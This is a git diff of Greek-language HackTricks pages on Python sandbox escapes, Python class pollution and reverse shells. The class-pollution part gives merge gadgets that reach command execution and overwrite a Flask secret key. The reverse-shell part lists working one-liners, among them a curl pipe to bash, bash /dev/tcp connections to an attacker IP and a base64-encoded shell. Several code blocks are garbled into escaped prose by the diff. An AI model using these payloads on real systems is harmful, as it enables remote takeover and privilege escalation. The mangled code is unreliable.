Ανάλογα με την έκδοση της Python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να μάθετε τη σειρά των παραμέτρων στην έκδοση της Python που χρησιμοποιείτε είναι να εκτελέσετε:
|
Ανάλογα με την έκδοση της Python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να μάθετε τη σειρά των παραμέτρων στην έκδοση της Python που χρησιμοποιείτε είναι να εκτελέσετε:
|
||||||
|
|
||||||
```
|
```
|
||||||
import types
|
import types
|
||||||
types.CodeType.__doc__
|
types.CodeType.__doc__
|
||||||
|
@ -952,6 +1031,7 @@ types.CodeType.__doc__
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για την αναπαραγωγή της συνάρτησης απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτό που **θα χρειαστείτε να διαρρεύσετε**.
|
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για την αναπαραγωγή της συνάρτησης απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτό που **θα χρειαστείτε να διαρρεύσετε**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```python
|
```python
|
||||||
fc = get_flag.__code__
|
fc = get_flag.__code__
|
||||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||||
|
@ -962,12 +1042,14 @@ mydict['__builtins__'] = __builtins__
|
||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
#ThisIsTheFlag
|
#ThisIsTheFlag
|
||||||
```
|
```
|
||||||
|
|
||||||
### Αντιστροφή Αμυνών
|
### Αντιστροφή Αμυνών
|
||||||
|
|
||||||
Στα προηγούμενα παραδείγματα στην αρχή αυτής της ανάρτησης, μπορείτε να δείτε **πώς να εκτελέσετε οποιοδήποτε κώδικα Python χρησιμοποιώντας τη λειτουργία `compile`**. Αυτό είναι ενδιαφέρον επειδή μπορείτε **να εκτελέσετε ολόκληρα σενάρια** με βρόχους και τα πάντα σε μια **γραμμή κώδικα** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας το **`exec`**).\
|
Στα προηγούμενα παραδείγματα στην αρχή αυτής της ανάρτησης, μπορείτε να δείτε **πώς να εκτελέσετε οποιοδήποτε κώδικα Python χρησιμοποιώντας τη λειτουργία `compile`**. Αυτό είναι ενδιαφέρον επειδή μπορείτε **να εκτελέσετε ολόκληρα σενάρια** με βρόχους και τα πάντα σε μια **γραμμή κώδικα** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας το **`exec`**).\
|
||||||
Πάντως, μερικές φορές θα μπορούσε να είναι χρήσιμο να **δημιουργήσετε** ένα **μεταγλωττισμένο αντικείμενο** σε ένα τοπικό μηχάνημα και να το εκτελέσετε στο **μηχάνημα CTF** (για παράδειγμα επειδή δεν έχουμε τη λειτουργία `compile` στο CTF).
|
Πάντως, μερικές φορές θα μπορούσε να είναι χρήσιμο να **δημιουργήσετε** ένα **μεταγλωττισμένο αντικείμενο** σε ένα τοπικό μηχάνημα και να το εκτελέσετε στο **μηχάνημα CTF** (για παράδειγμα επειδή δεν έχουμε τη λειτουργία `compile` στο CTF).
|
||||||
|
|
||||||
Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει το _./poc.py_:
|
Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει το _./poc.py_:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Locally
|
#Locally
|
||||||
def read():
|
def read():
|
||||||
|
@ -994,7 +1076,9 @@ mydict['__builtins__'] = __builtins__
|
||||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||||
function_type(codeobj, mydict, None, None, None)()
|
function_type(codeobj, mydict, None, None, None)()
|
||||||
```
|
```
|
||||||
|
|
||||||
Αν δεν μπορείτε να έχετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κανονική συνάρτηση**, αλλά η κλήση της απευθείας συνήθως αποτυγχάνει με: _constructor not accessible in restricted mode_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσετε αυτήν τη συνάρτηση.**
|
Αν δεν μπορείτε να έχετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κανονική συνάρτηση**, αλλά η κλήση της απευθείας συνήθως αποτυγχάνει με: _constructor not accessible in restricted mode_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσετε αυτήν τη συνάρτηση.**
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Compile a regular print
|
#Compile a regular print
|
||||||
ftype = type(lambda: None)
|
ftype = type(lambda: None)
|
||||||
|
@ -1002,14 +1086,15 @@ ctype = type((lambda: None).func_code)
|
||||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||||
f(42)
|
f(42)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Αποσυναρμολόγηση Μεταγλωττισμένου Python
|
## Αποσυναρμολόγηση Μεταγλωττισμένου Python
|
||||||
|
|
||||||
Χρησιμοποιώντας εργαλεία όπως το [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **αποσυναρμολογήσει** δοσμένο μεταγλωττισμένο κώδικα Python.
|
Χρησιμοποιώντας εργαλεία όπως το [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **αποσυναρμολογήσει** δοσμένο μεταγλωττισμένο κώδικα Python.
|
||||||
|
|
||||||
**Δείτε αυτό το εκπαιδευτικό υλικό**:
|
**Δείτε αυτό το εκπαιδευτικό υλικό**:
|
||||||
|
|
||||||
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||||
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Διάφορα Python
|
## Διάφορα Python
|
||||||
|
@ -1018,6 +1103,7 @@ f(42)
|
||||||
|
|
||||||
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του **debug**.\
|
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του **debug**.\
|
||||||
Επομένως, ελέγχοι όπως
|
Επομένως, ελέγχοι όπως
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
try:
|
try:
|
||||||
|
@ -1026,6 +1112,7 @@ print("\nYou are a super user\n")
|
||||||
except AssertionError:
|
except AssertionError:
|
||||||
print(f"\nNot a Super User!!!\n")
|
print(f"\nNot a Super User!!!\n")
|
||||||
```
|
```
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||||
|
@ -1037,7 +1124,7 @@ print(f"\nNot a Super User!!!\n")
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Ρύπανση Κλάσης (Ρύπανση Προτύπου της Python)
|
# Class Pollution (Python's Prototype Pollution)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -17,6 +17,7 @@
|
||||||
## Βασικό Παράδειγμα
|
## Βασικό Παράδειγμα
|
||||||
|
|
||||||
Ελέγξτε πώς είναι δυνατόν να ρυπάνετε τις κλάσεις αντικειμένων με αλφαριθμητικά:
|
Ελέγξτε πώς είναι δυνατόν να ρυπάνετε τις κλάσεις αντικειμένων με αλφαριθμητικά:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
class Company: pass
|
class Company: pass
|
||||||
class Developer(Company): pass
|
class Developer(Company): pass
|
||||||
|
@ -40,6 +41,7 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
||||||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Βασικό παράδειγμα ευπάθειας
|
## Βασικό παράδειγμα ευπάθειας
|
||||||
|
|
||||||
Consider the following Python code:
|
Consider the following Python code:
|
||||||
|
@ -107,6 +109,7 @@ class Admin(User):
|
||||||
```
|
```
|
||||||
|
|
||||||
By adding this input validation, we ensure that only User objects can be promoted or deleted by the Admin class, reducing the risk of unauthorized access or unintended consequences.
|
By adding this input validation, we ensure that only User objects can be promoted or deleted by the Admin class, reducing the risk of unauthorized access or unintended consequences.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Initial state
|
# Initial state
|
||||||
class Employee: pass
|
class Employee: pass
|
||||||
|
@ -139,57 +142,36 @@ USER_INPUT = {
|
||||||
merge(USER_INPUT, emp)
|
merge(USER_INPUT, emp)
|
||||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Παραδείγματα Gadget
|
## Παραδείγματα Gadget
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Δημιουργία προεπιλεγμένης τιμής ιδιότητας κλάσης για RCE (subprocess)</summary>
|
<summary>Δημιουργία προεπιλεγμένης τιμής ιδιότητας κλάσης για RCE (subprocess)</summary>
|
||||||
```python
|
|
||||||
from os import popen
|
|
||||||
class Employee: pass # Creating an empty class
|
|
||||||
class HR(Employee): pass # Class inherits from Employee class
|
|
||||||
class Recruiter(HR): pass # Class inherits from HR class
|
|
||||||
|
|
||||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
\`\`\`python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
|
||||||
def execute_command(self):
|
|
||||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
class SystemAdmin(Employee): # Class inherits from Employee class def execute\_command(self): command = self.custom\_command if hasattr(self, 'custom\_command') else 'echo Hello there' return f'\[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
|
||||||
|
|
||||||
def merge(src, dst):
|
def merge(src, dst):
|
||||||
# Recursive merge function
|
|
||||||
for k, v in src.items():
|
|
||||||
if hasattr(dst, '__getitem__'):
|
|
||||||
if dst.get(k) and type(v) == dict:
|
|
||||||
merge(v, dst.get(k))
|
|
||||||
else:
|
|
||||||
dst[k] = v
|
|
||||||
elif hasattr(dst, k) and type(v) == dict:
|
|
||||||
merge(v, getattr(dst, k))
|
|
||||||
else:
|
|
||||||
setattr(dst, k, v)
|
|
||||||
|
|
||||||
USER_INPUT = {
|
## Recursive merge function
|
||||||
"__class__":{
|
|
||||||
"__base__":{
|
|
||||||
"__base__":{
|
|
||||||
"custom_command": "whoami"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
recruiter_emp = Recruiter()
|
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||||
system_admin_emp = SystemAdmin()
|
|
||||||
|
|
||||||
print(system_admin_emp.execute_command())
|
USER\_INPUT = { "**class**":{ "**base**":{ "**base**":{ "custom\_command": "whoami" } } } }
|
||||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
|
||||||
|
|
||||||
# Create default value for Employee.custom_command
|
recruiter\_emp = Recruiter() system\_admin\_emp = SystemAdmin()
|
||||||
merge(USER_INPUT, recruiter_emp)
|
|
||||||
|
|
||||||
print(system_admin_emp.execute_command())
|
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "echo Hello there", output: "Hello there"
|
||||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
|
||||||
```
|
## Create default value for Employee.custom\_command
|
||||||
|
|
||||||
|
merge(USER\_INPUT, recruiter\_emp)
|
||||||
|
|
||||||
|
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "whoami", output: "abdulrah33m"
|
||||||
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -221,39 +203,33 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut
|
||||||
|
|
||||||
print(not_accessible_variable) #> Polluted variable
|
print(not_accessible_variable) #> Polluted variable
|
||||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||||
```
|
````
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Αυθαίρετη εκτέλεση υποδιεργασιών</summary>
|
<summary>Αυθαίρετη εκτέλεση υποδιεργασιών</summary>
|
||||||
```python
|
|
||||||
import subprocess, json
|
|
||||||
|
|
||||||
class Employee:
|
\`\`\`python import subprocess, json
|
||||||
def __init__(self):
|
|
||||||
pass
|
class Employee: def **init**(self): pass
|
||||||
|
|
||||||
def merge(src, dst):
|
def merge(src, dst):
|
||||||
# Recursive merge function
|
|
||||||
for k, v in src.items():
|
|
||||||
if hasattr(dst, '__getitem__'):
|
|
||||||
if dst.get(k) and type(v) == dict:
|
|
||||||
merge(v, dst.get(k))
|
|
||||||
else:
|
|
||||||
dst[k] = v
|
|
||||||
elif hasattr(dst, k) and type(v) == dict:
|
|
||||||
merge(v, getattr(dst, k))
|
|
||||||
else:
|
|
||||||
setattr(dst, k, v)
|
|
||||||
|
|
||||||
# Overwrite env var "COMSPEC" to execute a calc
|
## Recursive merge function
|
||||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
|
||||||
|
|
||||||
merge(USER_INPUT, Employee())
|
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||||
|
|
||||||
|
## Overwrite env var "COMSPEC" to execute a calc
|
||||||
|
|
||||||
|
USER\_INPUT = json.loads('{"**init**":{"**globals**":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"\}}\}}\}}') # attacker-controlled value
|
||||||
|
|
||||||
|
merge(USER\_INPUT, Employee())
|
||||||
|
|
||||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||||
```
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -296,19 +272,22 @@ merge(emp_info, Employee())
|
||||||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||||
execute() #> Executing echo Polluted
|
execute() #> Executing echo Polluted
|
||||||
#> Polluted
|
#> Polluted
|
||||||
```
|
````
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Αντικατάσταση του μυστικού του Flask σε διάφορα αρχεία</summary>
|
<summary>Αντικατάσταση του μυστικού του Flask σε διάφορα αρχεία</summary>
|
||||||
|
|
||||||
Έτσι, αν μπορείτε να κάνετε μια κλασική ρύπανση πάνω σε ένα αντικείμενο που έχει οριστεί στο κύριο αρχείο Python της ιστοσελίδας, **της οποίας η κλάση έχει οριστεί σε διαφορετικό αρχείο** από το κύριο. Επειδή για να έχετε πρόσβαση στο \_\_globals\_\_ στις προηγούμενες επιθέσεις, πρέπει να έχετε πρόσβαση στην κλάση του αντικειμένου ή στις μεθόδους της κλάσης, θα μπορείτε να **έχετε πρόσβαση στα globals σε αυτό το αρχείο, αλλά όχι στο κύριο**. \
|
Έτσι, αν μπορείτε να κάνετε μια κλασική ρύπανση πάνω σε ένα αντικείμενο που έχει οριστεί στο κύριο αρχείο Python της ιστοσελίδας, **της οποίας η κλάση έχει οριστεί σε διαφορετικό αρχείο** από το κύριο. Επειδή για να έχετε πρόσβαση στο \_\_globals\_\_ στις προηγούμενες επιθέσεις, πρέπει να έχετε πρόσβαση στην κλάση του αντικειμένου ή στις μεθόδους της κλάσης, θα μπορείτε να **έχετε πρόσβαση στα globals σε αυτό το αρχείο, αλλά όχι στο κύριο**.\
|
||||||
Συνεπώς, **δεν θα μπορείτε να έχετε πρόσβαση στο αντικείμενο Flask app global** που ορίζει το **κλειδί του μυστικού** στην κύρια σελίδα:
|
Συνεπώς, **δεν θα μπορείτε να έχετε πρόσβαση στο αντικείμενο Flask app global** που ορίζει το **κλειδί του μυστικού** στην κύρια σελίδα:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
app = Flask(__name__, template_folder='templates')
|
app = Flask(__name__, template_folder='templates')
|
||||||
app.secret_key = '(:secret:)'
|
app.secret_key = '(:secret:)'
|
||||||
```
|
```
|
||||||
|
|
||||||
Σε αυτό το σενάριο χρειάζεστε ένα εργαλείο για να περιηγηθείτε στα αρχεία για να φτάσετε στο κύριο αρχείο και να **αποκτήσετε πρόσβαση στον παγκόσμιο αντικείμενο `app.secret_key`** για να αλλάξετε το μυστικό κλειδί του Flask και να είστε σε θέση να [**αναβαθμίσετε τα δικαιώματα** γνωρίζοντας αυτό το κλειδί](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
Σε αυτό το σενάριο χρειάζεστε ένα εργαλείο για να περιηγηθείτε στα αρχεία για να φτάσετε στο κύριο αρχείο και να **αποκτήσετε πρόσβαση στον παγκόσμιο αντικείμενο `app.secret_key`** για να αλλάξετε το μυστικό κλειδί του Flask και να είστε σε θέση να [**αναβαθμίσετε τα δικαιώματα** γνωρίζοντας αυτό το κλειδί](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||||
|
|
||||||
Ένα πακέτο όπως αυτό [από αυτήν την ανάλυση](https://ctftime.org/writeup/36082):
|
Ένα πακέτο όπως αυτό [από αυτήν την ανάλυση](https://ctftime.org/writeup/36082):
|
||||||
|
@ -342,7 +321,7 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -29,6 +29,7 @@
|
||||||
**Μόλις αποκτήσετε ένα αντίστροφο shell**[ **διαβάστε αυτήν τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
|
**Μόλις αποκτήσετε ένα αντίστροφο shell**[ **διαβάστε αυτήν τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
|
||||||
|
|
||||||
## Bash | sh
|
## Bash | sh
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
|
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
|
||||||
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
||||||
|
@ -41,9 +42,11 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
||||||
#after getting the previous shell to get the output to execute
|
#after getting the previous shell to get the output to execute
|
||||||
exec >&0
|
exec >&0
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ασφαλές κέλυφος συμβόλων
|
### Ασφαλές κέλυφος συμβόλων
|
||||||
|
|
||||||
Μην ξεχάσετε να ελέγξετε και με άλλα κελύφη: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash.
|
Μην ξεχάσετε να ελέγξετε και με άλλα κελύφη: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#If you need a more stable connection do:
|
#If you need a more stable connection do:
|
||||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||||
|
@ -52,19 +55,24 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||||
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
||||||
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Εξήγηση Shell
|
#### Εξήγηση Shell
|
||||||
|
|
||||||
1. **`bash -i`**: Αυτό το τμήμα της εντολής ξεκινάει ένα διαδραστικό (`-i`) κέλυφος Bash.
|
1. **`bash -i`**: Αυτό το τμήμα της εντολής ξεκινάει ένα διαδραστικό (`-i`) κέλυφος Bash.
|
||||||
2. **`>&`**: Αυτό το τμήμα της εντολής είναι μια συντομογραφία για την **ανακατεύθυνση τόσο της τυπικής εξόδου** (`stdout`) και της **τυπικής σφάλματος** (`stderr`) προς το **ίδιο προορισμό**.
|
2. **`>&`**: Αυτό το τμήμα της εντολής είναι μια συντομογραφία για την **ανακατεύθυνση τόσο της τυπικής εξόδου** (`stdout`) και της **τυπικής σφάλματος** (`stderr`) προς το **ίδιο προορισμό**.
|
||||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αντιπροσωπεύει μια σύνδεση TCP στη συγκεκριμένη διεύθυνση IP και θύρα**.
|
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αντιπροσωπεύει μια σύνδεση TCP στη συγκεκριμένη διεύθυνση IP και θύρα**.
|
||||||
|
|
||||||
* Με το **ανακατεύθυνση των ροών εξόδου και σφάλματος σε αυτό το αρχείο**, η εντολή στέλνει αποτελέσματα της διαδραστικής συνεδρίας κελύφους στον υπολογιστή του εισβολέα.
|
